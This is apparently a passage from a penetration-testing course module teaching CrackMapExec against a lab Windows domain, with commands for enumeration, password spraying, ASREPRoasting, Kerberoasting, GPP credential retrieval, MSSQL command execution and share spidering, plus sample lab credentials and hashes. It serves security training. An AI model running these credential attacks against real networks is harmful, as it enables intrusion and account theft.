06. Using CrackMapExec
06. Using CrackMapExec
Using CrackMapExec
What is CrackMapExec?
CrackMapExec (a.k.a CME) is a tool that helps assess the security of large networks
composed of Windows workstations and servers.
CME heavily uses the Impacket library to work with network protocols and perform a variety
of post-exploitation techniques. To understand the power of CME, we need to imagine simple
scenarios:
These questions can be answered using many tools and techniques, but it can be handy to
deal with multiple tools from several authors. This is where CrackMapExec steps in and
helps us automate all the little things we need during an internal penetration test. CME also
gathers credentials we found during the security assessment into a database so we can go
back to them later as needed. The output is intuitive and straightforward, and the tool works
on Linux and Windows and supports socks proxy and multiple protocols.
Although meant to be used primarily for offensive purposes (e.g., internal pentesting), CME
can be used by blue teams to assess account privileges, find possible misconfigurations,
and simulate attack scenarios.
Since June 2021, CrackMapExec has been updated only on the Porchetta platform and not
on the public repository. A sponsorship costs $60 for six (6) months of access to all tools on
Porchetta. The private repository is merged with the public repository every six (6) months.
However, community contributions are available to everyone immediately. CrackMapExec is
developed by @byt3bl33d3r and @mpgn. The official documentation can be found on the
CrackMapExec Wiki.
On June 2023, mpgn, the lead developer of CrackMapExec, has created a new repository
containing CrackMapExec version 6, the latest version of CrackMapExec, but it was later
removed.
Some of the developers who contributed to the tool decided to create a fork to continue the
project. The project was renamed to NetExec and is at
https://github.com/Pennyw0rth/NetExec.
Note: Although in this module we make use of CrackMapExec version 5.4, we can make use
of this new repository to work with the latest updates
https://github.com/Pennyw0rth/NetExec.
Now that we've set the stage with a brief overview of the CME tool let's get it set up on our
penetration testing system of choice before digging into the various functionality.
CrackMapExec is compatible with Linux, Windows, and macOS and can also be installed
using Docker. There are also standalone binaries that do not require installation. Let's see
how we can install CrackMapExec.
Linux Installation
CrackMapExec developers recommend using Poetry for dependency and package
management. Poetry is a tool for dependency management and packaging in Python. It
allows you to declare the libraries your project depends on, and it will manage
(install/update) them for you. Let's install Poetry following the installation guide:
Installing Poetry
# Welcome to Poetry!
This will download and install the latest version of Poetry,
a dependency and package manager for Python.
It will add the `poetry` command to Poetry's bin directory, located at:
/home/htb-ac35990/.local/bin
You can uninstall at any time by executing this script with the --
uninstall option, and these changes will be reverted.
`poetry --version`
Next, we must install the necessary libraries and clone the CrackMapExec repository. We
will also need to install Rust which is now required to support the RDP protocol.
<SNIP>
CrackMapExec requires a library for the RDP protocol that uses Rust. We will use the
following command to install Rust. If we get a prompt, we need to type y and select option
1:
Installing Rust
Continue? (y/N) y
<SNIP>
<SNIP>
Next, we should close the terminal; otherwise, we will get an error when installing the RDP
library aardwolf . Once the terminal is closed, we open a new one and proceed with the
installation.
poetry install
Installing dependencies from lock file
<SNIP>
Now we can test running the newly installed CrackMapExec tool using poetry run
crackmapexec .
https://porchetta.industries/
Version : 5.4.0
Codename:
Indestructible G0thm0g
optional arguments:
-h, --help show this help message and exit
-t THREADS set how many concurrent threads to use (default:
100)
--timeout TIMEOUT max timeout in seconds of each thread (default:
None)
--jitter INTERVAL sets a random delay between each connection
(default: None)
--Darrell give Darrell a hand
--verbose enable verbose output
protocols:
available protocols
{ftp,ssh,winrm,mssql,rdp,LDAP,smb}
ftp own stuff using FTP
ssh own stuff using SSH
winrm own stuff using WINRM
mssql own stuff using MSSQL
rdp own stuff using RDP
ldap own stuff using LDAP
smb own stuff using SMB
Note: Suppose the CrackMapExec repository is updated, and we want to update the copy
we downloaded with the Git clone. In that case, we can move to the CrackMapExec directory
and use the command git pull to download the latest changes from the online repository.
If we want to avoid using poetry run before crackmapexec , we can execute poetry
shell within the installation directory to activate the Poetry virtual environment.
cd CrackMapExec
poetry shell
<SNIP>
Note: We can identify that we are in the Poetry shell if we see (crackmapexec-py3.X) at
the beginning of our terminal. To deactivate the virtual environment and exit this new shell,
type exit . To deactivate the virtual environment without leaving the shell, use deactivate .
<SNIP>
https://porchetta.industries/
Version : 5.4.0
Codename:
Indestructible G0thm0g
<SNIP>
After exiting the container, we can restart it using the following command:
Restart Container
Note: The Docker repository and published binaries may not be up to date. Building from
source ensures that we are using the latest version available.
Using Binaries
We can also use CrackMapExec with binaries already compiled and available in the
CrackMapExec GitHub repository under releases. At the time of writing this module, the
binaries created in the repository are available for Python versions 3.8, 3.9, and 3.10 and
Windows, Linux, and macOS.
In the repository, we will find two main files, those that start with cme and those that begin
with cmedb . cme corresponds to the CrackMapExec application, and cmedb correspond to
the binary that allows us to interact with the CrackMapExec database.
If we want to use a binary, we need to download it from releases and have Python installed.
If we are working from Windows and we don't have Python installed, we can download the
Python Windows embeddable package available here, then run the following command:
<SNIP>
Note: Binaries can also be used on Windows, Linux, and MacOS.
On Windows, to avoid errors related to the path length, add the following Registry key:
Next Steps
In the following sections, we will use CrackMapExec functionalities to enumerate and attack
Windows environments.
Depending on the scope, we can scan one or more targets within a specific range or
predefined hostnames during an engagement.
CrackMapExec can handle that perfectly. The target can be a CIDR, one IP, a hostname, or
a file name containing the IP addresses/hostnames.
Targets Format
Supported Protocols
CrackMapExec is designed to help us during an internal security assessment. Therefore, it
must support multiple protocols linked to Windows. At the time of writing, CrackMapExec
supports seven protocols:
Protocol Default Port
SMB 445
WINRM 5985/5986
MSSQL 1433
LDAP 389
SSH 22
RDP 3389
FTP 21
To confirm available protocols, we can run crackmapexec --help to list available options
and protocols.
crackmapexec --help
https://porchetta.industries/
Version : 5.4.0
Codename:
Indestructible G0thm0g
optional arguments:
-h, --help show this help message and exit
-t THREADS set how many concurrent threads to use (default:
100)
--timeout TIMEOUT max timeout in seconds of each thread (default:
None)
--jitter INTERVAL sets a random delay between each connection
(default: None)
--darrell give Darrell a hand
--verbose enable verbose output
protocols:
available protocols
{ftp,ssh,winrm,mssql,rdp,ldap,smb}
ftp own stuff using FTP
ssh own stuff using SSH
winrm own stuff using WINRM
mssql own stuff using MSSQL
rdp own stuff using RDP
ldap own stuff using LDAP
smb own stuff using SMB
We can run crackmapexec <protocol> --help to view the options a specified protocol
supports. Let's see LDAP as an example:
positional arguments:
target the target IP(s), range(s), CIDR(s), hostname(s),
FQDN(s), file(s) containing a list of targets,
NMap
XML or .Nessus file(s)
optional arguments:
-h, --help show this help message and exit
-id CRED_ID [CRED_ID ...]
database credential ID(s) to use for
authentication
-u USERNAME [USERNAME ...]
username(s) or file(s) containing usernames
-p PASSWORD [PASSWORD ...]
password(s) or file(s) containing passwords
-k, --kerberos Use Kerberos authentication from ccache file
(KRB5CCNAME)
--export EXPORT [EXPORT ...]
Export result into a file, probably buggy
--aesKey AESKEY [AESKEY ...]
AES key to use for Kerberos Authentication (128 or
256
bits)
--kdcHost KDCHOST FQDN of the domain controller. If omitted it will
use
the domain part (FQDN) specified in the target
parameter
--gfail-limit LIMIT max number of global failed login attempts
--ufail-limit LIMIT max number of failed login attempts per username
--fail-limit LIMIT max number of failed login attempts per host
-M MODULE, --module MODULE
module to use
-o MODULE_OPTION [MODULE_OPTION ...]
module options
-L, --list-modules list available modules
--options display module options
--server {http,https}
use the selected server (default: https)
--server-host HOST IP to bind the server to (default: 0.0.0.0)
--server-port PORT start the server on the specified port
--connectback-host CHOST
IP for the remote system to connect back to
(default:
same as server-host)
-H HASH [HASH ...], --hash HASH [HASH ...]
NTLM hash(es) or file(s) containing NTLM hashes
--no-bruteforce No spray when using file for username and password
(user1 => password1, user2 => password2
--continue-on-success
continues authentication attempts even after
successes
--port {636,389} LDAP port (default: 389)
--no-smb No smb connection
-d DOMAIN domain to authenticate to
--local-auth authenticate locally to each target
--asreproast ASREPROAST
Get AS_REP response ready to crack with hashcat
--kerberoasting KERBEROASTING
Get TGS ticket ready to crack with hashcat
--trusted-for-delegation
Get the list of users and computers with flag
TRUSTED_FOR_DELEGATION
--password-not-required
Get the list of users with flag PASSWD_NOTREQD
--admin-count Get objets that had the value adminCount=1
--users Enumerate enabled domain users
--groups Enumerate domain groups
Target Protocols
Once we understand this simple rule, we will find that the power of CrackMapExec is due to
the ease of usage regarding all the options offered.
Export Function
CrackMapExec comes with an export function, but it is buggy, as shown in the help menu. It
requires the full path of the file to export:
Protocol Modules
CrackMapExec supports modules, which we will use and discuss later. Each protocol has
different modules. We can run crackmapexec <protocol> -L to view available modules for
the specified protocol.
crackmapexec ldap -L
Next Steps
In the following sections, we will use CrackMapExec to start leveraging various protocols to
gather information in an Active Directory domain.
The SMB protocol is advantageous for recon against a Windows target. Without any
authentication, we can retrieve all kinds of information, including:
SMB Enumeration
crackmapexec smb 192.168.133.0/24
Using this simple command, we can get all of the live targets in the lab at the moment of the
scan, along with the domain name, the OS version, etc. As we can see in the output, the
domain parameter of the target 192.168.133.157 is the same as the name parameter ,
meaning the target WIN7 is not joined to the domain: inlanefreight.htb . Contrary to the
target WIN-TOE6NQTR989 , which is joined to the domain inlanefreight.htb .
We can also see one Windows 10, one Windows Server, and one Windows 7 host. Windows
servers are usually rich targets full of juicy data (shares, passwords, website and database
backups, etc.). All of them are 64-bit versions of Windows, which can be helpful if we need to
execute a custom binary on one of them.
<SNIP>
cat relaylistOutputFilename.txt
192.168.1.111
192.168.1.117
For more information about Responder and ntlmrelayx.py, we can also check out the section
Attacking SMB in the Attacking Common Services module. Additionally, this blog post:
Practical guide to NTLM Relaying in 2017 is worth a read through.
Next Steps
In the next section, we will start with practical examples and learn how to collect information
when anonymous authentication is enabled. From here, we will begin using CrackMapExec
in more depth.
When a target is vulnerable to a NULL Session , especially a domain controller, it will allow
the attacker to gather information without having a valid domain account, such as:
The export will be a JSON file. We can format the file using sed to replace single quotes
with double quotes and use the jq application to display it.
Enumerating Users
We can use the exported file to get a list of all users, we will later use this list
Here we could list all domain users and the password policy without any account. This
configuration is not always present, but this will help us get started on our goal of
compromising the domain if it is the case.
By default, --rid-brute enumerate objects brute forcing RIDs up to 4000 . We can modify
its behavior using --rid-brute [MAX_RID] .
Note: There will be scenarios where we can brute force rids with null authentication.
Enumerating Shares
Regarding shared folders, depending on the server configuration, we may be able to access
shares by just typing the option --shares without any account. If we get an error, we can try
using a random name (non-existing account) or guest/anonymous without passwords to list
the shared folders.
Enumerating Shares
The information we collected can be helpful in gaining a foothold in the domain. We can use
the information in the password policy to mount a Password Spraying campaign, perform
attacks such as ASREPRoasting or potentially gain access to confidential information
through an open share folder.
One of the policy settings we see in the output is Domain Password Complex , which is set
to 1. The Password must meet complexity requirements policy setting determines whether
passwords must meet a series of strong password guidelines. When enabled, this setting
requires passwords to meet the following criteria:
Passwords may not contain the user's sAMAccountName (user account name) value or
entire displayName (full name value). Both checks aren't case-sensitive.
The password must contain characters from three of the following categories:
Uppercase letters of European languages (A through Z, with diacritic marks, Greek
and Cyrillic characters)
Lowercase letters of European languages (a through z, sharp-s, with diacritic
marks, Greek and Cyrillic characters)
Base 10 digits (0 through 9)
Non-alphanumeric characters (special characters): (~!@#$%^&*_-+=`|\(){}
[]:;"'<>,.?/) Currency symbols such as the Euro or British Pound aren't
counted as special characters for this policy setting.
Any Unicode character categorized as an alphabetic character but isn't uppercase
or lowercase. This group includes Unicode characters from Asian languages.
Note: Complexity requirements are enforced when passwords are changed or created.
Another crucial parameter to enumerate for a password spraying attack is the Account
Lockout Threshold . This policy setting determines the number of failed sign-in attempts
that will cause a user account to be locked. A locked account can't be used until you reset it
or until the number of minutes specified by the Account Lockout Duration policy setting
expires, which is also displayed in CrackMapExec output.
Based on this password policy, there is no lockout policy. We could try as many passwords
as we want, and the accounts won't be locked. Based on the policy, the password will have
at least seven characters and contain at least one each of an uppercase and lowercase
letter and a special character.
Note: CrackMapExec only checks the Default Password Policy, not Password Setting
Objects (PSO), if they exist.
Next Steps
In this section, we learned how to get information from a domain configured with NULL
session authentication. In the following section, we will learn how to use this information to
identify credentials.
Password Spraying
We found a list of users abusing the NULL Session flaw. We now need to find a valid
password to gain a foothold in the domain. If we do not have a proper list of users, or the
target is not vulnerable to a NULL Session attack, we will need another way to find valid
usernames, like OSINT (i.e., hunting on LinkedIn), brute-forcing with a large username list
and Kerbrute, physical recon, etc. In this section, we will learn how to find a valid set of
credentials by testing authentication against a set of targets once we have a list of
usernames.
cat passwords.txt
Inlanefreight01!
Inlanefreight02!
Inlanefreight03!
cat users.txt
noemi
david
carlos
grace
peter
robert
administrator
Note: We will need to use the complete username list to complete the exercises in this
section.
Now we need to select the protocol and the target and use the option -u to provide a
username(s) or file(s) containing usernames and the option -p to provide the password(s)
or file(s) containing passwords. Let's see some examples using the SMB protocol:
As we can see from the output, we found only one valid credential in the domain represented
in green and starting with the output [+] . Nevertheless, not all accounts have been tested.
After the first valid credentials are found, CME stops password spraying since it is usually
sufficient for the rest of the domain enumeration. Sometimes, it is better to test all accounts
because we may find a privileged account. For that purpose, CME comes with the option --
continue-on-success :
Continue on Success
crackmapexec smb 10.129.203.121 -u noemi grace david carlos -p
Inlanefreight01! Inlanefreight02! --continue-on-success
We could also provide a password list with a file, for example, passwords.txt , which will
test all passwords for each user, which can be helpful for password spraying but not so
much when there is an Account Lockout policy set. We will discuss Account Lockout later in
this section.
Disable Bruteforcing
cat userfound.txt
grace
carlos
cat passfound.txt
Inlanefreight01!
Inlanefreight02!
Note: Domain Controllers don't have a local account database, so we can't use the flag --
local-auth against a Domain Controller.
Account Lockout
Be careful when performing Password Spraying. We need to ensure the value: Account
Lockout Threshold is set to None. If there is a value (usually 5), be careful with the
number of attempts we try on each account and observe the window in which the counter is
reset to 0 (typically 30 minutes). Otherwise, there is a risk that we lock all accounts in the
domain for 30 minutes or more (check the Locked Account Duration for how long this is).
Occasionally a domain password policy will be set to require an administrator to manually
unlock accounts which could create an even bigger issue if we lock out one or more
accounts with careless Password Spraying. If you already have a user account, you can
query its Bad-Pwd-Count attribute, which measures the number of times the user tried to log
on to the account using an incorrect password.
With this information, you can create a better strategy for password attacks.
Note: The Bad Password Count resets if the user authenticates with the correct credentials.
Account Status
When we test an account, there are three colors that CME can display:
Color Description
Green The username and the password is valid.
Red The username or the password is invalid.
Magenta The username and password are valid, but the authentication is not
successful.
Authentication can be unsuccessful while the password is still valid for various reasons. Here
is a complete list:
STATUS_ACCOUNT_DISABLED
STATUS_ACCOUNT_EXPIRED
STATUS_ACCOUNT_RESTRICTION
STATUS_INVALID_LOGON_HOURS
STATUS_INVALID_WORKSTATION
STATUS_LOGON_TYPE_NOT_GRANTED
STATUS_PASSWORD_EXPIRED
STATUS_PASSWORD_MUST_CHANGE
STATUS_ACCESS_DENIED
Here we can change the password for the target user. During a penetration test, we want to
be careful with changing account passwords and always note any account changes in our
report appendices. If the target account has not logged in for a long time, it is likely safer to
change the password than for an account that is actively in use. Typically an organization will
disable unused accounts, but from time to time, we will come across forgotten accounts
whose passwords we can change to move further toward our assessment goal. If in doubt,
always check with the customer before making any changes.
To connect to the WinRM service on a remote computer, we need to have local administrator
privileges, be a member of the Remote Management Users group, or have explicit
permissions for PowerShell Remoting in the session configuration.
WinRM is not the best protocol to identify if a password is valid because it will only indicate
that the account is valid if it has access to WinRM. In this scenario, we can test the three (3)
accounts we have found and use the --no-bruteforce option to see if any of those three
(3) accounts have access to WinRM.
We can execute commands on the system with the account Peter, who has local admin
rights. We will cover more about this in the section Command Execution.
We have two options to solve this issue: configure our attack host to use the domain name
server (DNS) or configure the KDC FQDN in our /etc/hosts file. Let's go with the second
option and add the FQDN to our /etc/hosts file:
Authentication Mechanisms
Some Windows services, such as MSSQL, SSH, or FTP, can be configured to handle their
user database or to integrate with Windows. If this is the case, we could try Password
Spraying against the local database used by the service, against Active Directory users, or
against local users of the computer where the service is installed. Let's see how we can
perform a Password Spray against an MSSQL Server via different authentication
mechanisms.
Authentication Description
Type
Windows This is the default, often referred to as integrated security,
authentication because the SQL Server security model is tightly integrated with
mode Windows/Active Directory. Specific Windows user and group
accounts are trusted to log in to SQL Server. Windows users who
have already been authenticated do not have to present
additional credentials.
Mixed mode Mixed mode supports authentication by Windows/Active Directory
accounts and SQL Server. Username and password pairs are
maintained within SQL Server.
This means that we can have three types of users to authenticate to MSSQL :
For a local Windows Account, we need to specify a dot (.) as the domain option -d or the
target machine name:
Note: Since this is a Domain Controller, Windows local accounts have not been used. This
example will apply when targeting a non-Domain Controller machine with local windows
accounts.
Commonly administrators may create accounts with the same name as their Active Directory
accounts for local usage or testing. We may find MSSQL accounts created with the same
name and password as the Active Directory account. Password reuse is very common! If we
want to try a SQL Account, we need to specify the flag --local-auth :
As we can see, the account grace exists locally in the MSSQL database with the same
password.
Other Protocols
Remember that sometimes a user may not be an administrator, but they may have privileges
to access other protocols such as RDP, SSH, FTP, etc. It is crucial when performing
Password Spraying to understand the target and try to attack as many protocols as possible.
Note: When we are doing Password Spray using Active Directory authentication, the count
of failed password attempts will be the same for all protocols. For example, if the lockout limit
is five attempts and we try three passwords using RDP and two passwords against WinRM,
the count will reach 5, and we will have caused the account to be locked out.
Next Steps
In this section, we learned how to perform Password Spraying against different protocols
using a list of users to try to identify valid credentials and gain access to the domain. The
following section will discuss other mechanisms to identify accounts without brute forcing or
Password Spraying.
The ASREPRoast attack looks for users without Kerberos pre-authentication required. That
means that anyone can send an AS_REQ request to the KDC on behalf of any of those users
and receive an AS_REP message. This last kind of message contains a chunk of data
encrypted with the original user key derived from its password. Then, using this message,
the user password could be cracked offline if the user chose a relatively weak password. To
learn more about this attack, check out the module Active Directory Enumerations & Attacks.
If we do not have an account on the domain but have a username list, we maybe get lucky
and find an account with the option that does not require Kerberos pre-authentication. If this
option is set, it allows us to find encrypted data that can be decrypted with the user's
password.
We can use the LDAP protocol with the list of users we previously found with the option --
asreproast followed by a file name and specify the FQDN of the DC as a target. We will
search for each account inside the file users.txt to identify if there is a least one account
vulnerable to this attack:
Based on our list, we found one account vulnerable to ASREPRoasting. We can request all
accounts that do not require Kerberos pre-authentication if we have valid credentials. Let's
use Grace's credentials to request all accounts vulnerable to ASREPRoast.
Once we get all the hash, we can use Hashcat with module 18200 and try to crack them.
Let's use the rockyou.txt wordlist and attempt to crack those hashes:
Password Cracking
[email
protected]:40d78fb0fd99b5070f8e519670e72f01$728671cd74bfb9b009f4e4dc7b5206
e4f45c3497b1e097fb47d9ddcee8211928d857cd8d11e6c7b9e4ced73806974a8db226c3cf
b14962cab03f7c6d85c5670ecbcf513d99d28f1e6445de81c7ee3c29641eb633457ed7b53d
40deba514a2e06d08759111628afd9b91a683622b6fed872d85f6a2e083237d4bb8d3ac43d
dd4fb7198389969bcc6282066fd34fcf06945806679e5eccc215a7034ac88bb2f2f068a4fb
176bcc3a48396cdf152614ec8a634bac8745e18e23d135afef234def28c53a74e930c315c8
666de1d63165317c7454460af3bf711a5c3006f498d2a1ee532cf537b97a991a2dc71d6de9
5ae8ca64c2c7cd8301:Password!
<SNIP>
We found another way to find a valid account on the domain, which would allow us to gather
much more information on the environment and perhaps start to compromise hosts or other
users.
Next Steps
The following section teaches us how to gather information about an account and identify
other use cases for CrackMapExec.
Once we have control of an account, there are some mandatory checks we need to perform.
Searching for credentials written in the Group Policy Objects ( GPO ) can pay off,
especially in an old environment (Windows server 2003 / 2008) since every domain user can
read the GPOs.
CrackMapExec has two modules that will search all the GPOs and find juicy credentials. We
can use the modules gpp_password and gpp_autologin . The first module,
gpp_password , retrieves the plaintext password and other information for accounts pushed
through Group Policy Preferences ( GPP ). We can read more about this attack in this
blog post Finding Passwords in SYSVOL & Exploiting Group Policy Preferences, and the
second module, gpp_autologin , searches the Domain Controller for registry.xml files to
find autologin information and returns the username and clear text password if present.
Password GPP
AutoLogin GPP
In our case, we found two accounts with two different passwords. Let's check if these
accounts are still valid:
Credentials Validation
Both accounts are still valid, and we can use them to authenticate to the domain, identify
which privileges they have, or try to reuse those credentials.
Next Section
This section taught us several methods to abuse GPO configurations to obtain credentials.
In the next section, we will continue discussing ways to gather more information as an
authenticated user.
crackmapexec ldap -L
Let's pick the user-desc module and see how we can interact with modules.
Note: Keep in mind that LDAP protocol communications won't work if we can't resolve the
domain FQDN. If we are not connecting to the domain DNS servers, we need to configure
the FQDN in the /etc/hosts file. Configure the target IP to the FQDN
dc01.inlanefreight.htb .
The LDAP module user-desc will query all users in the Active Directory domain and
retrieve their descriptions, it will only display the user's descriptions that match the default
keywords, but it will save all descriptions in a file.
Default keywords are not provided in the description. If we want to know what those
keywords are, we need to look at the source code. We can find the source code in the
directory CrackMapExec/cme/modules/ . Then we can look for the module name and open it.
In our case, the Python script that contains the module user-desc is
user_description.py . Let's grep the file to find the word keywords :
As we can see, it displays the description that contains the keywords key and pass , but all
descriptions are saved in the log file.
cat /home/plaintext/.cme/logs/UserDesc-10.129.203.121-20221031_120444.log
User: Description:
Administrator Built-in account for administering the
computer/domain
Guest Built-in account for guest access to the
computer/domain
krbtgt Key Distribution Center Service Account
alina Account for testing HR App. Password: HRApp123!
engels Service Account for testing
testaccount pwd: Testing123!
There is a PR for this module at the time of writing this training, but it can be used if
downloaded and placed in the modules folder until it gets approved.
cd CrackMapExec/cme/modules/
wget https://raw.githubusercontent.com/Porchetta-
Industries/CrackMapExec/7d1e0fdaaf94b706155699223f984b6f9853fae4/cme/modul
es/groupmembership.py -q
crackmapexec ldap dc01.inlanefreight.htb -u grace -p Inlanefreight01! -M
groupmembership -o USER=julio
Next Steps
We now have a general idea of how modules work with CrackMapExec. We will use many of
them, and the concepts we learned in this section will apply to other sections as we move
forward.
As we discussed in the Password Spraying section, we can authenticate to SQL with three
different types of user accounts. It's also essential to consider what privileges we have on
the database and which database we have access to and confirm if we are the database dba
(database admin) user.
We can also use the option --local-auth to specify an MSSQL user. If we don't select this
option, a domain account will be used instead.
SQL Queries
We performed some database queries to list databases, tables, and content. To learn more
about how to enumerate databases using SQL queries, we can read the section Attacking
SQL Databases from Attacking Common Services module.
MSSQL has an extended stored procedure called xp_cmdshell which allows us to execute
system commands using SQL. A DBA account has the privileges to enable the features
needed to execute Windows operating system commands.
To execute a Windows command, we need to use the option -x followed by the command
we want to run:
Note: Being able to execute Windows commands via MSSQL doesn't mean we are local
administrators on the Windows machine. We can elevate our privileges or use this access to
get more information about the target machine.
To upload a file to our target machine, we can use the option --put-file followed by the
local file we want to upload and the destination directory.
Upload File
To download a file, we need to use the --get-file option followed by the file's path and set
an output file name.
<SNIP>
As a sysadmin user, we can now execute commands. Let's do this and then roll back our
privileges to their original state:
Note: To test the module with the users we have, it is necessary to try them one by one
since the multi-user functionality with --no-bruteforce and --continue-on-success
does not support testing a module with multiple accounts at the same time.
Exercises Notes
When starting the target machine, please wait about 2 or 3 minutes for the MSSQL service
dependencies to start correctly.
To ensure the service is working correctly, try to authenticate with any domain user. If the
service responds, it's ready.
Next Steps
In the next section, we will discuss how we can use any Active Directory account to perform
an attack that allows us to retrieve a target account's password hash and crack it offline to
potentially gain more access in the AD environment.
The Kerberoasting attack aims to harvest TGS (Ticket Granting Service) Tickets from a
user with servicePrincipalName (SPN) values, typically a service account. Any valid Active
Directory account can request a TGS for any SPN account. Part of the ticket is encrypted
with the account's NTLM password hash, which allows us to attempt to crack the password
offline. To learn more about how this attack works, check out the Kerberoasting section of
the Active Directory Enumeration & Attacks module.
To find the Kerberoastable accounts, we need to have a valid user in the domain, use the
protocol LDAP with the option --kerberoasting followed by a file name, and specify the IP
address of the DC as a target on CrackMapExec:
Kerberoasting Attack
crackmapexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --
kerberoasting kerberoasting.out
If there are any Kerberoastable accounts, CrackMapExec will display them along with the
hash we need to attempt to crack offline. In our case, we will use the wordlist rockyou.txt to
crack the password and the application Hashcat. For more on Hashcat usage, see the
Cracking Passwords with Hashcat module.
<SNIP>
$krb5tgs$23$*peter$INLANEFREIGHT.HTB$inlanefreight.htb/peter*$026257d4f9aa
58cd5c654295eac8255f$22ea3062f1822e967934263b37ff1b565342b3934c2864b46366d
e7bf3e230d0cb08f605deae3053c6f93944256c409c9f352ac337c33f5c4ad8adf125cd686
3598d3a8c97ec60fb19c5e3691e825f95333509fbff9e2832d465ce2beee4f290bac2c52a2
ce625b613778a5ebebb668a2538cb547c0d0d5c45e455f5df03e08a054349fcd24e140dcb2
315f1af23e11ebe547556a24a200585353de9e6654ec71f205a3e37fa129bede32f0ca385d
fe7ff84cea07c8bc646147782cadb47e03b1a230c8f828a40a34d78d57513892fb1fee09a7
888be76738374fbd3baa2050572db461221c256abafafc92e6bfc84f8c5b0771c5bb1846f0
7b971089570b12bc8eb970a8da3f5d81f16a4353e86e8cf8ff77f834b6d9384d3e81058583
aef8d145427bbc772f9f56153b8bc075d73841e3592ae4da6533cefb28b20186d2df253787
10411b517b6bca5f9c1ddfed3e357a12f8ab677b963ca4aa16de76adb49068ee7d956e95ac
04c624fef3f288640ccd260c12dddfa2771b5582e1351af1d99aa2f185687cc1613b294430
8563afbc6d4caf9da56e61ccbf46359a3b50b1defdb8b54c4ddbcee0ce3a18b6b532ba7227
c0918795531726e773754ee35cf3ce5b5dcf89ed8b13dd2774e6c1342e77f3fcae92065761
95b4a48f845f193e8b949b499c14f0bf8086c73da821c183b8e9155e15e5295b7a05b49643
3a946fecd51730150f6655e761b56b3ce0ad27884888ef88b7fd1e2fc7dd7f113cc84c684a
976f43bdde4d3e6f8a20114da482c640dd83439b781bf6c00a73419720d1201bd5f3a9e883
27b87cb6cf37ee88b7d5e04d51a09994b350bcbb1e3d6345293773874e3771558fea92dae0
aa010e88372cd5520a06538c0a6c93584f6490601cc5cc1c6644974ad6e4103f027a7d3292
4c680679478f3228c54f171920cd48272d4fcbd014acaea185f5e219a00476d8a78abcd8c3
bdbad14f5850476c3eeb62f0817ffc5ff3467a01408c75a743a71045edfd329644683c0800
5c7abc83e8527209b9b621488e39e9b2e5baca8247020b7e53dc1f9efa40d7d70886affa05
90922641c31ace175df3a0ab7a8f989fa6bd7442b07b67a3d72faabec69f61a6d455d18544
979f844ca6b64d9c3487be207e8ee80b605a2abe09221382e6574fda9e39adf03ab3687152
af2fbb210728777b481dd7290731a0abecdfb63d72d9f9da6ac13e7b0363ab194a5e714df5
dbac2eabacfdd6666c736ee7d074720d0860c5ed8b5c937cd12188a18b2bef1511642b5b13
a4c5179e23e7867a9d5536e309100c8bc9a2a71b370a733fd9e972683138d08bbb5c923257
888efc51cef997b062fca914954d91cfab3e9aafccf051c208d4149b6abc26fd1c1cc2e630
a2f4fc0dae40e1b1ad2cd477b9feabdc9e696d43080438d9f1207b96ce7fc3a49739f4bc50
dee57553a661778ea14cf431a0e:Password123
<SNIP>
Once we get the account's password, we need to verify if the account is still active. We can
do this using the SMB protocol, as it will attempt to authenticate as a regular domain user or
administrator account.
Next Steps
In the next section, we will discuss how we can use all active accounts we found to search
for interesting information in shared folders.
We can use the option --shares to request access to the share folders using the accounts
we have gained access to and identify if they have access.
Note: At the time of writing this module, CrackMapExec doesn't support querying multiple
usernames and passwords with the --shares option.
The option --shares displays each share on the target machine and which permissions
(READ/WRITE) our user has on it. We have read and write access to an interesting folder
called IT . We can easily open it using Impacket smbclient, or we can mount the share. It
can become inconvenient when checking the content of hundreds of shares. For this
purpose, CrackMapExec comes with two great features the spider option and the module
spider_plus .
Note: Keep in mind that any computer in the domain can have a shared folder. We should
target any previously identified machines on the network we are targeting to find shared
folders.
<SNIP>
We can also use regular expressions with the option --regex [REGEX] to do more granular
searches on folders, file names, or file content. In the following example, let's use --regex
. to display any file and directory in the shared folder IT :
If we want to search file content, we need to enable it with the option --content . Let's
search for a file containing the word "Encrypt."
We can see an interesting file called Creds.txt , which contains very juicy information.
Using CrackMapExec, we can get a remote file. We need to specify the share using the
option --share <SHARENAME> , then use --get-file followed by the file's path within the
share and set an output file name.
cat Creds.txt
Creds Encrypted:
ZWxpZXNlcjpTdXBlckNvbXBsZXgwMTIxIzIK
In the opposite case, imagine we want to send a file to a remote share. We need to find a
share where we have WRITE privileges. Then we can use the option --put-file as we did
with the --get-file .
Note: If we are transferring a large file and it fails, make sure to try again. If you keep getting
an error, try adding the option --smb-timeout with a value greater than the default two (2).
We can navigate to the directory and get a list of all files accessible to the user:
cat /tmp/cme_spider_plus/10.129.203.121.json
{
"IT": {
"Creds.txt": {
"atime_epoch": "2022-10-31 11:16:17",
"ctime_epoch": "2022-10-31 11:15:17",
"mtime_epoch": "2022-10-31 11:16:17",
"size": "54 Bytes"
},
"IPlist.txt": {
"atime_epoch": "2022-10-31 11:15:11",
"ctime_epoch": "2022-10-31 11:14:52",
"mtime_epoch": "2022-10-31 11:15:11",
"size": "36 Bytes"
}
},
"linux01": {
"flag.txt": {
"atime_epoch": "2022-10-05 10:17:02",
"ctime_epoch": "2022-10-05 10:17:02",
"mtime_epoch": "2022-10-11 11:44:14",
"size": "52 Bytes"
},
"information-txt.csv": {
"atime_epoch": "2022-10-31 15:00:58",
"ctime_epoch": "2022-10-31 14:21:36",
"mtime_epoch": "2022-10-31 15:00:58",
"size": "284 Bytes"
}
}
}
If we want to download all the content of the share, we can use the option
READ_ONLY=false as follow:
ls -R /tmp/cme_spider_plus/10.129.203.121/
/tmp/cme_spider_plus/10.129.203.121/:
IT linux01
/tmp/cme_spider_plus/10.129.203.121/IT:
Creds.txt Documents IPlist.txt
...SNIP...
/tmp/cme_spider_plus/10.129.203.121/linux01:
flag.txt information-txt.csv
Note: We have to be patient. The process could take a few minutes, depending on the
number of shared folders and files.
To view all options available for the spider_plus module, we can use --options :
Spider_plus Options
Next Steps
The next section will explore how to use CrackMapExec through a proxy to reach other
networks.
In the module Pivoting, Tunneling, and Port Forwarding, we discussed how to use tools such
as Chisel & Proxychains to connect to networks to that we don't have direct access to. This
section will revisit the concept to understand how we can attack other networks via a
compromised host.
Scenario
We are working on an internal Pentest. We performed a network scan and identified and
compromised only one host (10.129.204.133). By running ipconfig on this compromised
host, we notice it has two network adapters. Its ARP table shows another host with the IP
